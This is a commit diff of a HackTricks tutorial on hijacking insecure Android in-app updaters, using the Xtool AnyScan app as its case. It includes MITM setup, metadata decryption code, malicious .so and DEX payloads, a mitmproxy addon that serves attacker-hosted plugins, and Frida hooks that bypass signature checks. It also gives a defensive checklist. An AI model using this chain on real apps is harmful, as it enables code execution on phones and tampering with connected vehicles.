Skip to content

Commit e625208

Browse files
authored
Merge pull request #1332 from HackTricks-wiki/research_update_src_mobile-pentesting_android-app-pentesting_insecure-in-app-update-rce_20250825_013931
Research Update Enhanced src/mobile-pentesting/android-app-p...
2 parents 6a7589e + ffa0231 commit e625208

File tree

1 file changed

+141
-25
lines changed

1 file changed

+141
-25
lines changed

src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md

Lines changed: 141 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -2,15 +2,50 @@
22

33
{{#include ../../banners/hacktricks-training.md}}
44

5-
Many Android applications implement their **own “plugin” or “dynamic feature” update channels** instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept the traffic can supply **arbitrary native code that will be loaded inside the app process**, leading to full Remote Code Execution (RCE) on the handset – and in some cases on any external device controlled by the app (cars, IoT, medical devices …).
5+
Many Android applications implement their own “plugin” or “dynamic feature” update channels instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept or tamper with the update traffic can supply arbitrary native or Dalvik/ART code that will be loaded inside the app process, leading to full Remote Code Execution (RCE) on the handset – and in some cases on any external device controlled by the app (cars, IoT, medical devices …).
66

7-
This page summarises a real‐world vulnerability chain found in the Xtool **AnyScan** automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.
7+
This page summarises a real‐world vulnerability chain found in the Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.
8+
9+
---
10+
## 0. Quick triage: does the app have an in‑app updater?
11+
12+
Static hints to look for in JADX/apktool:
13+
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
14+
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
15+
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
16+
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
17+
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
18+
19+
Runtime hooks to confirm:
20+
21+
```js
22+
// Frida: log native and dex loading
23+
Java.perform(() => {
24+
const Runtime = Java.use('java.lang.Runtime');
25+
const SystemJ = Java.use('java.lang.System');
26+
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
27+
28+
SystemJ.load.overload('java.lang.String').implementation = function(p) {
29+
console.log('[System.load] ' + p); return this.load(p);
30+
};
31+
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
32+
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
33+
};
34+
Runtime.load.overload('java.lang.String').implementation = function(p){
35+
console.log('[Runtime.load] ' + p); return this.load(p);
36+
};
37+
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
38+
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
39+
return this.$init(dexPath, optDir, libPath, parent);
40+
};
41+
});
42+
```
843

944
---
1045
## 1. Identifying an Insecure TLS TrustManager
1146

1247
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
13-
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
48+
2. Look for a custom `TrustManager` or `HostnameVerifier` that blindly trusts every certificate:
1449

1550
```java
1651
public static TrustManager[] buildTrustManagers() {
@@ -24,26 +59,37 @@ public static TrustManager[] buildTrustManagers() {
2459
}
2560
```
2661

27-
3. If present the application will accept **any TLS certificate** → you can run a transparent **MITM proxy** with a self-signed cert:
62+
3. If present the application will accept any TLS certificate → you can run a transparent MITM proxy with a self-signed cert:
2863

2964
```bash
3065
mitmproxy -p 8080 -s addon.py # see §4
3166
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
3267
```
3368

69+
If TLS pinning is enforced instead of unsafe trust-all logic, see:
70+
71+
{{#ref}}
72+
android-anti-instrumentation-and-ssl-pinning-bypass.md
73+
{{#endref}}
74+
75+
{{#ref}}
76+
make-apk-accept-ca-certificate.md
77+
{{#endref}}
78+
79+
---
3480
## 2. Reverse-Engineering the Update Metadata
3581

3682
In the AnyScan case each app launch triggers an HTTPS GET to:
3783
```
3884
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
3985
```
40-
The response body is an **XML document** whose `<FileData>` nodes contain **Base64-encoded, DES-ECB encrypted** JSON describing every available plugin.
86+
The response body is an XML document whose `<FileData>` nodes contain Base64-encoded, DES-ECB encrypted JSON describing each available plugin.
4187

4288
Typical hunting steps:
4389
1. Locate the crypto routine (e.g. `RemoteServiceProxy`) and recover:
44-
* algorithm (DES / AES / RC4 …)
45-
* mode of operation (ECB / CBC / GCM …)
46-
* hard-coded key / IV (often 56-bit DES keys or 128-bit AES keys in constants)
90+
- algorithm (DES / AES / RC4 …)
91+
- mode of operation (ECB / CBC / GCM …)
92+
- hard-coded key / IV (commonly 56bit DES or 128bit AES constants)
4793
2. Re-implement the function in Python to decrypt / encrypt the metadata:
4894

4995
```python
@@ -61,8 +107,16 @@ def encrypt_metadata(plaintext: bytes) -> str:
61107
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
62108
```
63109

110+
Notes seen in the wild (2023–2025):
111+
- Metadata is often JSON-within-XML or protobuf; weak ciphers and static keys are common.
112+
- Many updaters accept plain HTTP for the actual payload download even if metadata comes over HTTPS.
113+
- Plugins frequently unzip to app-internal storage; some still use external storage or legacy `requestLegacyExternalStorage`, enabling cross-app tampering.
114+
115+
---
64116
## 3. Craft a Malicious Plugin
65117

118+
### 3.1 Native library path (dlopen/System.load[Library])
119+
66120
1. Pick any legitimate plugin ZIP and replace the native library with your payload:
67121

68122
```c
@@ -80,11 +134,38 @@ $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
80134
```
81135

82136
2. Update the JSON metadata so that `"FileName" : "PWNED.zip"` and `"DownloadURL"` points to your HTTP server.
83-
3. DES-encrypt + Base64-encode the modified JSON and copy it back inside the intercepted XML.
137+
3. Re‑encrypt + Base64‑encode the modified JSON and copy it back inside the intercepted XML.
138+
139+
### 3.2 Dex-based plugin path (DexClassLoader)
140+
141+
Some apps download a JAR/APK and load code via `DexClassLoader`. Build a malicious DEX that triggers on load:
84142

143+
```java
144+
// src/pwn/Dropper.java
145+
package pwn;
146+
public class Dropper {
147+
static { // runs on class load
148+
try {
149+
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
150+
} catch (Throwable t) {}
151+
}
152+
}
153+
```
154+
155+
```bash
156+
# Compile and package to a DEX jar
157+
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
158+
jar cf dropper.jar -C out/ .
159+
d8 --output outdex/ dropper.jar
160+
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
161+
```
162+
163+
If the target calls `Class.forName("pwn.Dropper")` your static initializer executes; otherwise, reflectively enumerate loaded classes with Frida and call an exported method.
164+
165+
---
85166
## 4. Deliver the Payload with mitmproxy
86167

87-
`addon.py` example that *silently* swaps the original metadata:
168+
`addon.py` example that silently swaps the original metadata:
88169

89170
```python
90171
from mitmproxy import http
@@ -99,37 +180,72 @@ def request(flow: http.HTTPFlow):
99180
)
100181
```
101182

102-
Run a simple web server to host the malicious ZIP:
183+
Run a simple web server to host the malicious ZIP/JAR:
103184
```bash
104185
python3 -m http.server 8000 --directory ./payloads
105186
```
106187

107188
When the victim launches the app it will:
108-
* fetch our forged XML over the MITM channel;
109-
* decrypt & parse it with the hard-coded DES key;
110-
* download `PWNED.zip` → unzip inside private storage;
111-
* `dlopen()` the included *libscan_x64.so*, instantly executing our code **with the app’s permissions** (camera, GPS, Bluetooth, filesystem, …).
189+
- fetch our forged XML over the MITM channel;
190+
- decrypt & parse it with the hard-coded crypto;
191+
- download `PWNED.zip` or `plugin.jar` → unzip inside private storage;
192+
- load the included `.so` or DEX, instantly executing our code with the app’s permissions (camera, GPS, Bluetooth, filesystem, …).
193+
194+
Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.
112195

113-
Because the plugin is cached on disk the backdoor **persists across reboots** and runs every time the user selects the related feature.
196+
---
197+
## 4.1 Bypassing signature/hash checks (when present)
198+
199+
If the updater validates signatures or hashes, hook verification to always accept attacker content:
200+
201+
```js
202+
// Frida – make java.security.Signature.verify() return true
203+
Java.perform(() => {
204+
const Sig = Java.use('java.security.Signature');
205+
Sig.verify.overload('[B').implementation = function(a) { return true; };
206+
});
207+
208+
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
209+
Java.perform(() => {
210+
const Arrays = Java.use('java.util.Arrays');
211+
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
212+
});
213+
```
114214

115-
## 5. Post-Exploitation Ideas
215+
Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or short‑circuiting update gating logic in Java or JNI.
216+
217+
---
218+
## 5. Other attack surfaces in updaters (2023–2025)
219+
220+
- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Always sanitize entry paths and use allow‑lists.
221+
- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
222+
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
223+
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
224+
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
225+
226+
---
227+
## 6. Post-Exploitation Ideas
116228

117-
* Steal session cookies, OAuth tokens, or JWTs stored by the app.
118-
* Drop a second-stage APK and silently install it via `pm install` (the app already has `REQUEST_INSTALL_PACKAGES`).
119-
* Abuse any connected hardware – in the AnyScan scenario you can send arbitrary **OBD-II / CAN bus commands** (unlock doors, disable ABS, etc.).
229+
- Steal session cookies, OAuth tokens, or JWTs stored by the app.
230+
- Drop a second-stage APK and silently install it via `pm install` if possible (some apps already declare `REQUEST_INSTALL_PACKAGES`).
231+
- Abuse any connected hardware – in the AnyScan scenario you can send arbitrary OBDII / CAN bus commands (unlock doors, disable ABS, etc.).
120232

121233
---
122234
### Detection & Mitigation Checklist (blue team)
123235

124-
* NEVER ship a production build with a custom TrustManager/HostnameVerifier that disables certificate validation.
125-
* Do not download executable code from outside Google Play. If you *must*, sign each plugin with the same **apkSigning v2** key and verify the signature before loading.
126-
* Replace weak/hard-coded crypto with **AES-GCM** and a server-side rotating key.
127-
* Validate the integrity of downloaded archives (signature or at least SHA-256).
236+
- Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK.
237+
- Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
238+
- Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
239+
- Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients.
240+
- Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files.
241+
- Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering.
242+
- Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or `..` segments.
243+
- Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).
128244

129245
---
130246
## References
131247

132248
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
133-
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
249+
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
134250

135251
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)